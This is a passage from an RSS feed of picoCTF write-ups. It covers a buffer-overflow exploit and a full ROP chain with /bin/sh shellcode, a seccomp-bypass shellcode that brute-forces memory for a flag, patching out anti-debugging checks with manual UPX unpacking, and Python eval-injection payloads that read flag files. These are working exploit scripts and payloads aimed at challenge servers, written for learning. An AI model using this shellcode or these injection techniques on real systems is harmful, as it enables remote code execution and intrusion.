PORT)<br>print(p.recvline())<br>print(&quot;[+] Sending the payload...\n&quot;)<br>p.sendline(payload)<br>try:<br>    p.sendline(b&quot;whoami&quot;)<br>    user = p.recvuntil(b&#39;\n&#39;).strip().decode()<br>    while True:<br>        command = input(f&quot;{user} $: &quot;)<br>        p.sendline(command.encode())<br>        print(f&quot;\n{p.recv().strip().decode()}\n&quot;)<br>except (EOFError):<br>    print(&quot;[-] Session has ended.&quot;)<br>    exit(0)<br>except:<br>    print(f&quot;[-] Error occured and the session has ended.&quot;)<br>    exit(0)</pre><p>After running it, we get the Flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2C0Ri2rfW6dGU37bSoXEMA.png" /></figure><p>We successfully Exploited the server and got the Flag!</p><p>But we are not done yet, what if NX was Enabled? This Mitigation is present in almost every Software, and this Attack wouldn’t work with an NX/DEP-Enabled Executable.</p><p>So i wanted to create something else, a Full ROP Attack where we can Bypass NX/DEP Protection.</p><p>To do that, we would need a lot of Gadgets and chain them together so we can get a Shell and Hack/Exploit the Server once again.</p><p>So, what do we need now? we need to Find a <strong>syscall</strong>/<strong>int 0x80</strong> Gadget so we can Execute our Shellcode, and other Gadgets so we can set the Parameters of <strong>execve()</strong> in the Register, and another Gadget to write /bin/sh to the .data section (since there is no string in the Binary, we would need to build it and pass it ourselves).</p><p>With that, we can start looking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*RmZ3Rn1oKo5z3JQWsryr9g.png" /></figure><p>Using ROPgadget, we Found the <strong>int 0x80</strong> Gadget, which would Enable us to run syscalls (<strong>execve()</strong> in this case) and i continued searching until i got all that we need.</p><pre>pop_eax = p32(0x080b073a) # to pop the data section address to eax<br>pop_edx_ebx = p32(0x080583b9) # we use this since there&#39;s no &#39;pop edx; ret&#39; gadget in the binary<br>mov_ptr_eax_edx = p32(0x0809e5c8) # to move the strings to the data section<br>pop_ecx = p32(0x08049e29) # to null out execve parameter<br>int_0x80 = p32(0x804a3c2) # to execute execve syscall</pre><p>And to get the Address of the .data section in IDA, i opened the segments view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*Iaf1PqnHWf-Al6mbnWJw4Q.png" /></figure><p>We got the Address of the .data section, which is 0x80E5060 .</p><p>And with that, i can show you the Final Exploit which combines both Techniques (You can the Exploitation method you want by entering 1 or 2 as the input).</p><pre>from pwn import *<br><br># Host Information<br>HOST = &quot;saturn.picoctf.net&quot;<br>PORT = 63886<br><br># Gadgets<br>jmp_eax = p32(0x0805333b) # the &#39;jmp eax&#39; gadget which will help us jump to the stack for execution. used because there is no &#39;jmp esp&#39; gadget in the binary found.<br>data_address = 0x80E5060 # data section address<br>pop_eax = p32(0x080b073a) # to pop the data section address to eax<br>pop_edx_ebx = p32(0x080583b9) # we use this since there&#39;s no &#39;pop edx; ret&#39; gadget in the binary, we work with what we got :)<br>mov_ptr_eax_edx = p32(0x0809e5c8) # to move the strings to the data section<br>pop_ecx = p32(0x08049e29) # to null out execve parameter<br>int_0x80 = p32(0x804a3c2) # to execute execve syscall<br><br># get the data section address based on an offset.<br>def GetDataAddress(offset):<br>    if offset == 0:<br>        return p32(data_address)<br>    else:<br>        return p32(data_address + offset)<br>    <br>Option = input(&quot;Choose exploitation option.\n\n1. Execute the shellcode directly from the stack (since NX is disabled in the original challenge this should work without problems), only one ROP is needed to jump to the shellcode.\n2. Execute the shellcode purely using ROP (the exploit will work even if NX was enabled/disabled).\n\nOption: &quot;)<br>    <br>if Option == &quot;1&quot;: # This option shouldn&#39;t be used if NX/DEP is Enabled.<br>    print(&quot;[+] Generating shellcode...&quot;)<br>    payload = b&quot;A&quot;*26 # padding<br>    payload += b&quot;\xFF\xE4&quot; # jmp esp (to jump to the stack for execution and running the payload)<br>    payload += jmp_eax # the return address which will jump to the code which will trigger the jump to ESP.<br>    payload += b&quot;\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68&quot; # /bin/sh shellcode<br>elif Option == &quot;2&quot;: # This will work even if NX/DEP is Enabled/Disabled, works for both scenarios.<br>    print(&quot;[+] Generating shellcode...&quot;)<br>    payload = b&quot;A&quot; * 28 # Padding<br><br>    # forming &quot;/bin&quot; string<br>    payload += pop_eax<br>    payload += GetDataAddress(0)  # get the data section address<br>    payload += pop_edx_ebx<br>    payload += b&quot;/bin&quot;<br>    payload += p32(0x32323232)  # junk to pass to ebx<br>    payload += mov_ptr_eax_edx  # write /bin to the data section<br><br>    # forming &quot;/sh&quot; string<br>    payload += pop_eax<br>    payload += GetDataAddress(0x4)  # get the data section address with offset 0x4<br>    payload += pop_edx_ebx<br>    payload += b&quot;/sh\00&quot; # null-terminted at the end (\00) so the function (execve) knows that this is the end of the string.<br>    payload += p32(0x32323232)  # junk to pass to ebx<br>    payload += mov_ptr_eax_edx  # move /sh\00 to data section with offset 0x4<br><br>    # executing the payload to run /bin/sh and get a remote shell<br>    payload += pop_ecx<br>    payload += p32(0x0)<br>    payload += pop_edx_ebx<br>    payload += p32(0x0)<br>    payload += GetDataAddress(0)  # set the binary to be executed (in this case /bin/sh)<br>    payload += pop_eax<br>    payload += p32(0xB)  # execve syscall number<br>    payload += int_0x80  # execute execve syscall and the magic should happen!<br>else:<br>    print(&quot;[-] invalid option.&quot;)<br>    exit(0)<br><br>print(&quot;[+] Connecting to the challenge instance...&quot;)<br><br>p = remote(HOST, PORT) # initiate connection with the server<br>print(p.recvline()) # Recieve initial message from the server<br>print(&quot;[+] Sending the payload...\n&quot;)<br>p.sendline(payload) # Send the crafted payload<br>try:<br>    p.sendline(b&quot;whoami&quot;) # Get username<br>    user = p.recv(timeout=1).strip().decode()<br><br>    p.sendline(b&quot;pwd&quot;) # Get initial path<br>    path = p.recv(timeout=1).strip().decode()<br>    while True:<br>        command = input(f&quot;{user}@{path} $: &quot;) # Get the user command as an input<br>        p.sendline(command.encode()) # Send the encoded command<br><br>        if command.strip() == &quot;cd&quot;:  # Prevent accidental empty `cd`<br>            continue<br>        data = p.recv(timeout=1)  # Try receiving data<br>        if data:<br>            print(f&quot;\n{data.strip().decode()}\n&quot;)<br><br>        # Update path after each command (in case of `cd /something`)<br>        p.sendline(b&quot;pwd&quot;)<br>        path = p.recv(timeout=1).strip().decode()<br><br>except EOFError:<br>    print(&quot;[-] Session has ended.&quot;)<br>    exit(0)<br>except Exception as e:<br>    print(f&quot;[-] Error occurred: {e}&quot;)<br>    exit(0)</pre><p>In the code, Specifically the option number 2 which is the new one with the Full ROP, Firstly i add the padding of 28 since that’s the offset we got at the start.</p><p>Then i started Building the strings and writing them to the .data section, Ensuring that every string have 4 bytes each (since we are working with DWORD).</p><p>And after Writing them to the .data section, i POP the values so it can be stored inside the Registers in order for the syscall to work, and null out the rest.</p><p>then finally i execute the syscall with the Syscall Number 0xB or 11 which corresponds to <strong>execve()</strong>, and we get our shell!</p><p>Every part of the code is documented if anyone is interested in it. let’s try it with the option number “2” to Bypass NX/DEP!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pv_xCD91qLHbw2BxGeFFsw.png" /></figure><p>Voila! we got the Flag again, and this method would work even if NX/DEP is Enabled/Disabled, so we don’t have to worry about it.</p><p>i hope you had a good time reading this! you can always contact me and i will be more than willing to help and guide you if you had any problem.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f25a033f0cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF - SaaS (Shellcode As a Service) CTF Writeup]]></title>
            <link>https://medium.com/@AdvDebugy/picoctf-saas-shellcode-as-a-service-ctf-writeup-c5531b9190d8?source=rss-f7bf9f879a9e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5531b9190d8</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[AdvDebug]]></dc:creator>
            <pubDate>Sat, 29 Mar 2025 22:19:20 GMT</pubDate>
            <atom:updated>2025-04-08T18:38:03.099Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone! Today, we are going to solve an interesting Challenge called SaaS or Shellcode As a Service.</p><p>it was fun to solve it and it can teach a lot if you deal with Challenges that have Mitigations. Without further ado, let’s dive in.</p><h3><strong>Challenge Description</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*zpoKT-lIBNHXyKh4E5qT1g.png" /></figure><p>The Challenge Description states that basically, we can run Assembly Code and it will just ‘Execute’ it, but we are “Limited”, so let’s see what kind of restrictions we got.</p><p>I downloaded both the source and the binary file, and the source is as follows.</p><pre>#include &lt;errno.h&gt;<br>#include &lt;error.h&gt;<br>#include &lt;fcntl.h&gt;<br>#include &lt;seccomp.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;sys/mman.h&gt;<br>#include &lt;sys/syscall.h&gt;<br>#include &lt;unistd.h&gt;<br><br>#define SIZE 0x100<br><br>// http://shell-storm.org/online/Online-Assembler-and-Disassembler/?inst=xor+rax%2C+rax%0D%0Amov+rdi%2C+rsp%0D%0Aand+rdi%2C+0xfffffffffffff000%0D%0Asub+rdi%2C+0x2000%0D%0Amov+rcx%2C+0x600%0D%0Arep+stosq%0D%0Axor+rbx%2C+rbx%0D%0Axor+rcx%2C+rcx%0D%0Axor+rdx%2C+rdx%0D%0Axor+rsp%2C+rsp%0D%0Axor+rbp%2C+rbp%0D%0Axor+rsi%2C+rsi%0D%0Axor+rdi%2C+rdi%0D%0Axor+r8%2C+r8%0D%0Axor+r9%2C+r9%0D%0Axor+r10%2C+r10%0D%0Axor+r11%2C+r11%0D%0Axor+r12%2C+r12%0D%0Axor+r13%2C+r13%0D%0Axor+r14%2C+r14%0D%0Axor+r15%2C+r15%0D%0A&amp;arch=x86-64&amp;as_format=inline#assembly<br>#define HEADER &quot;\x48\x31\xc0\x48\x89\xe7\x48\x81\xe7\x00\xf0\xff\xff\x48\x81\xef\x00\x20\x00\x00\x48\xc7\xc1\x00\x06\x00\x00\xf3\x48\xab\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xe4\x48\x31\xed\x48\x31\xf6\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff&quot;<br><br>#define FLAG_SIZE 64<br><br>char flag[FLAG_SIZE];<br><br>void load_flag() {<br>  int fd;<br>  if ((fd = open(&quot;flag.txt&quot;, O_RDONLY)) == -1)<br>    error(EXIT_FAILURE, errno, &quot;open flag&quot;);<br>  if (read(fd, flag, FLAG_SIZE) == -1)<br>    error(EXIT_FAILURE, errno, &quot;read flag&quot;);<br>  if (close(fd) == -1)<br>    error(EXIT_FAILURE, errno, &quot;close flag&quot;);<br>}<br><br>void setup() {<br>  scmp_filter_ctx ctx;<br>  ctx = seccomp_init(SCMP_ACT_KILL);<br>  int ret = 0;<br>  if (ctx != NULL) {<br>    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1,<br>      SCMP_A0(SCMP_CMP_EQ, STDOUT_FILENO));<br>    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);<br>    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);<br>    ret |= seccomp_load(ctx);<br>  }<br>  seccomp_release(ctx);<br>  if (ctx == NULL || ret)<br>    error(EXIT_FAILURE, 0, &quot;seccomp&quot;);<br>}<br><br>int main()<br>{<br>  setbuf(stdout, NULL);<br>  setbuf(stdin, NULL);<br>  setbuf(stderr, NULL);<br><br>  load_flag();<br>  puts(&quot;Welcome to Shellcode as a Service!&quot;);<br><br>  void* addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);<br>  memcpy(addr, HEADER, sizeof(HEADER));<br>  read(0, addr + sizeof(HEADER) - 1, SIZE);<br><br>  setup();<br>  goto *addr;<br>}</pre><p>So, this is what the code does:</p><ol><li>Load the Flag and store it inside the flag variable.</li><li>Allocate a Memory Region for our code and copies the HEADER Shellcode to the Beginning of it. and the Shellcode (HEADER) just Clears the Registers.</li><li>Reads our code that we gave it, and puts it inside the Allocated Memory too, right after the HEADER.</li><li>Sets up a <a href="https://en.wikipedia.org/wiki/Seccomp">seccomp</a> sandbox in which we can only Print text and Exit the Program (Allowing only write() and exit()).</li><li>Jumps to the Allocated Memory for it to be Executed.</li></ol><p>So with these rules, we are very restricted. and we can’t read the flag from the file directly because of seccomp.</p><p>And upon checking the binary security status, we see that PIE (Position Independent Executable) is Enabled, which randomizes the Address to make it harder for us to know what Address the Flag is in Runtime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*93hnCPkzb65eq3FYH8ipBA.png" /></figure><p>One way we can bypass this and get the Flag, is to scan the Memory for the Flag. in IDA, we can see the Flag Address is as follows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*9a2K4XPhljgQB_M1l5MqXA.png" /></figure><p>Which is 0000000000202060. so with PIE, we must save the last 4 numbers of the Address (2060) and keep moving in the Memory until we hit the Flag.</p><p>And because the Binary is not High-Entropy (Meaning Address Randomization is not strong), we can just Brute-Force the Address and it will work 80% of the time before the Server timeout is triggered.</p><p>With that information, i wrote this Assembly Code which will Enable us to do so.</p><pre>mov rsi, 0x550000002060 ; initial address with the last 4 digits saved<br><br>search_memory:<br>  mov rdi, 1 ; stdout (write to console)<br>  mov rdx, 64 ; flag length which is 64<br>  mov rax, 1 ; sys_write syscall number<br>  syscall ; execute sys_write<br>  add rsi, 0x100000 ; move to the next address<br>  jmp search_memory ; loop and search the next address</pre><p>And with that, we can generate the Shellcode from this Assembly code, i used <a href="https://defuse.ca/online-x86-assembler.htm">Defuse</a> Online Assembler for this.</p><p>With that, we can generate the Final Exploit which will be as follows.</p><pre>from pwn import *<br><br># Target info<br>HOST = &quot;mars.picoctf.net&quot;<br>PORT = 31021<br><br># Shellcode<br>shellcode = b&quot;\x48\xBE\x60\x20\x00\x00\x00\x55\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x40\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05\x48\x81\xC6\x00\x00\x10\x00\xEB\xE0&quot;<br><br>try:<br>    # Receive initial message<br>    conn = remote(HOST, PORT)<br>    print(conn.recvuntil(b&quot;Service!\n&quot;))<br><br>    # Sending the shellcode<br>    conn.sendline(shellcode)<br><br>    # Receive and print the flag<br>    flag = conn.recvuntil(b&quot;}&quot;)<br>    print(f&quot;Got the flag: {flag}&quot;)<br>    conn.close()<br>except:<br>    print(&quot;Failed to get the flag.&quot;)</pre><p>And upon running it and waiting a bit until the search is complete, the Flag is printed to the console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*ShZf_9PEtHddSBlaqF8AJg.png" /></figure><p>And that’s it! with this challenge you can get familiar with seccomp and its restrictions and how you can bypass PIE mitigation and Brute-Force your way in.</p><p>i hope you learned something new today!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5531b9190d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF - WinAntiDbg (0x100, 0x200, 0x300) CTF Writeup]]></title>
            <link>https://medium.com/@AdvDebugy/picoctf-winantidbg-0x100-0x200-0x300-ctf-writeup-939c374dbc4d?source=rss-f7bf9f879a9e------2</link>
            <guid isPermaLink="false">https://medium.com/p/939c374dbc4d</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[AdvDebug]]></dc:creator>
            <pubDate>Sun, 23 Mar 2025 14:36:48 GMT</pubDate>
            <atom:updated>2025-06-12T11:21:36.982Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone! in this writeup, we are going to solve the PicoCTF challenge ‘WinAntiDbg’ for all versions: 0x100, 0x200 and 0x300 in detail.</p><p>This challenge is pretty interesting and can improve your knowledge of Anti-Debugging Techniques and Packing on Windows, which would come in handy if you did any malware analysis later. So, let’s begin!</p><h3><strong>WinAntiDbg (0x100)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*Q4qvd3Ngw6GmHSZT3_TT2g.png" /></figure><p>The description is pretty straight-forward. let’s launch it in x32dbg and try to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TpFR8iohIDjZQtuOVEN9Mg.png" /></figure><p>But the process terminates and we get this debug output. Lets look more at the code and check for anything that would cause this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NqqoipzQx97kAb8A4smO3A.png" /></figure><p>Looking at the code, it’s pretty straight-forward, it checks for the value of <strong>IsDebuggerPresent()</strong> and if it’s false it jumps to where it prints the flag. so we modify je winantidbg0x100.12161Bto jump directly to the code becoming jmp winantidbg0x100.12161B, patch it, and we test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ohcqe7d9W2Ji5gsOHrVGsw.png" /></figure><p>We got it!</p><h3><strong>WinAntiDbg (0x200)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*QLyirAxFVg5Uwl4WGlYsgw.png" /></figure><p>This time the description says that it requires admin privileges to run. seems strange… let’s dig in and see what techniques it added.</p><p>When we run it using a Debugger, same as before, it exits but this time without any Debug output. looking more at the code, it checks if it’s running as an Admin, if not or it’s running again (using a Mutex) then it Terminates. When we look at the main function we see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZoylCNxxKqrIB-YQYzjWw.png" /></figure><p>We find the checks right away. we can see that it uses <strong>IsDebuggerPresent()</strong> and there’s a call call winantidbg0x200.4E11D0which also triggers the detection. The function is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j0d1FblI1F9qvKJU7CDrUA.png" /></figure><p>Looking at the function in IDA, we can see that it creates a process of itself with the PID of the parent as an argument, which in turn will check if the parent process is being Debugged using the Exit Code of this process which would determine if a Debugger has been found or not. same as before, we just replace the Detection Trigger jumps to this jmp winantidbg0x200.4E1847 and we run it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sozQTdLy1smF-mp632ZCNg.png" /></figure><p>And we got the second flag! pretty interesting and straight-forward so far.</p><h3><strong>WinAntiDbg (0x300)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*8voZNiIPEP5K02bgTLkTIQ.png" /></figure><p>The description of this one is pretty interesting cause now it says that it will try to “Fight our Debugger”, and that now we got a GUI instead of the old console. when we open the challenge executable, we see this window:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GlKTEeIYz3PfN8TMhWpyHw.png" /></figure><p>Upon opening it in x32dbg, we see some unusual stuff and what looks like a packer. when opening it in CFF Explorer, we see those sections which confirms that it is indeed packed, and with UPX.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*0tTG1OvxNJiNz5bSELSqOQ.png" /></figure><p>Now, we need to unpack the executable so we can see the the code clearly. you can just use the UPX tool with the -d Parameter like this UPX.exe -d WinAntiDbg0x300.exeto just unpack it, but i will explain how to unpack it manually if anyone is interested to learn how it works.</p><h4>Unpacking UPX</h4><p>So upon launching x32dbg and reaching the entry point and switching to the graph view, we can see that there’s a long tail jump to a new section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*aPhhdC4bs5z2d5R_gNmObw.png" /></figure><p>this is probably where the unpacked code will be, so we set a breakpoint at the jmp instruction that jumps to this new section, then follow where it jumps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*GKKwbUC9cEIDrizY3hReNg.png" /></figure><p>It jumps here, so this is the entry point of the application. all we need to do now, is dump it then fix the IAT.</p><p>For Dumping i’m gonna use OllyDumpEx which also exists as a plugin for x32dbg. in OllyDumpEx, we disable relocation for the dumped image so ASLR doesn’t cause us a headache, then we press on Get EIP as OEP since my EIP now points to the unpacked code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*g-BvaSHBymoktM6UryTtmg.png" /></figure><p>After we dump the image, we fix the IAT using scylla by using IAT Autosearch, Get Imports, then press on Fix Dump and choose our dumped image that we got from OllyDumpEx.</p><p>And now it’s unpacked and we should be able to run it without any problem.</p><h4>The Challenge</h4><p>Now that this is out of the way, we can get back to the challenge.</p><p>When launching, instead of getting the usual output string telling us that we shouldn’t run it under a Debugger, we get a Message Box. So probably this one will depend on Message Boxes this time, instead of Debug strings.</p><p>After looking, we find this code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*U-KrTG4GmoHHFzpx3v1Bhw.png" /></figure><p>Simple enough, just replace je with jmp. But after patching it then running it again under the Debugger, the Debugger Terminates. which explains what “Fighting the Debugger” means.</p><p>As we dig deeper, we see that it does exactly as the 0x200 challenge, it creates a child process with the PID of the parent:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZEPMJxKzvaymEvYzDWz3ZQ.png" /></figure><p>And this is where it parses the arguments and detects the Debugger of the Parent Process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*KL7be8vl3yuCP1PsuB2xDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*qsDs0sifV8kCaJCYlHcikQ.png" /></figure><p>Now we bypass this by just nopping out the je. and when running the Patched version, the Debugger is not Terminated anymore.</p><p>And when looking more closely at the process creation logic and what it returns, we see that we can just patch it to always return the flag no matter what the process Exit Code was.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xgDUgYNWi1YuE2be4Boz9A.png" /></figure><p>All we do now, is modify the test condition right before the CreateProcess call here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*lqTtVZp-hQ5bofntV2IUog.png" /></figure><p>to always jump to it’s destination. So instead of je, we replace it with a jmp.</p><p>Now we should be able to get the flag when running it again, let’s patch it and see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wTYMIvv8sLHsXrqNx__i-w.png" /></figure><p>Voila! we got the the flag. that was a pretty interesting challenge.</p><p>i hope you had a good read and you learned something new today!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=939c374dbc4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF - Picker (I, II, III) CTF Writeup]]></title>
            <link>https://medium.com/@AdvDebugy/picker-i-ii-iii-ctf-writeup-07d22d5a4e0b?source=rss-f7bf9f879a9e------2</link>
            <guid isPermaLink="false">https://medium.com/p/07d22d5a4e0b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[AdvDebug]]></dc:creator>
            <pubDate>Sun, 23 Mar 2025 02:01:49 GMT</pubDate>
            <atom:updated>2025-04-08T18:38:31.718Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone! in this writeup, we are going to solve the picker challenge (I, II, III).</p><p>this is an old challenge which is easy but still interesting and fun to play.</p><h3><strong>Picker I</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*-JQhV_xAEru0PvgFyXuaeQ.png" /></figure><p>After downloading the python file, right off the bat we can see that it uses <strong>eval() </strong>which makes us able to execute python code on the process. from here, we can either call the “<strong>win()</strong>” function which exists inside the python script that returns the flag in hex format or read from the file directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*GyXXWazVEihqVlNZaFKgog.png" /></figure><p>Which would correspond to <strong>picoCTF{4_d14m0nd_1n_7h3_r0ugh_ce4b5d5b}</strong></p><h3><strong>Picker II</strong></h3><p>After downloading the script we can see that in this version, we are more restricted with a filter that checks if ‘win’ exists in the input of the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*Xj9TJz1Gg3zBwDSAcUL72g.png" /></figure><p>We can simply bypass this by directly reading the flag file which exists along the script with <strong>print(open(‘flag.txt’).read()) </strong>which would give us the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*1-oRgdq87Sr7_JuQYS-M_Q.png" /></figure><h3>Picker III</h3><p>This one is pretty interesting, because now there’s even more restricted filters and we can’t specify methods thanks to those functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*OvI-U8QDuQvwg0RsOH5lSQ.png" /></figure><p>Looking more at the code, we can see that there’s a function table with commands like reading/writing variables and we can only choose 1, 2, 3, 4, etc so we can only enter those as the initial input.</p><p>We also can’t use characters like ‘()’, ‘;’ etc. so, with those restrictions, it seems that we are out of luck… right? but what if we could modify the functions by abusing the writing/reading of variables and make functions like <strong>filter_var_name() </strong>always return True then read the flag using <strong>read_variable()</strong>? looking at <strong>read_variable()</strong> it seems that it uses <strong>eval()</strong> internally to print the user input after checking it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*Ohi0OS7_SwUPQ_B7-poJmw.png" /></figure><p>Which makes us able to read the flag using <strong>open(‘flag.txt’).read()</strong> if we could bypass the filter with the method above, so let’s get testing. we choose the option number 3 to write a variable name, then choose the variable name ‘<strong>filter_var_name’</strong> then for the value we specify ‘<strong>lambda s: True’ </strong>which would make the variable callable and also return<strong> </strong>True each time, then read the flag using <strong>read_variable()</strong> or option number 2 in the table. so let’s try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*s8cz77LKi44Wc8lJxiNfLA.png" /></figure><p>and it worked! we got the flag.</p><p>i hope you had a good read and learned something new!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07d22d5a4e0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>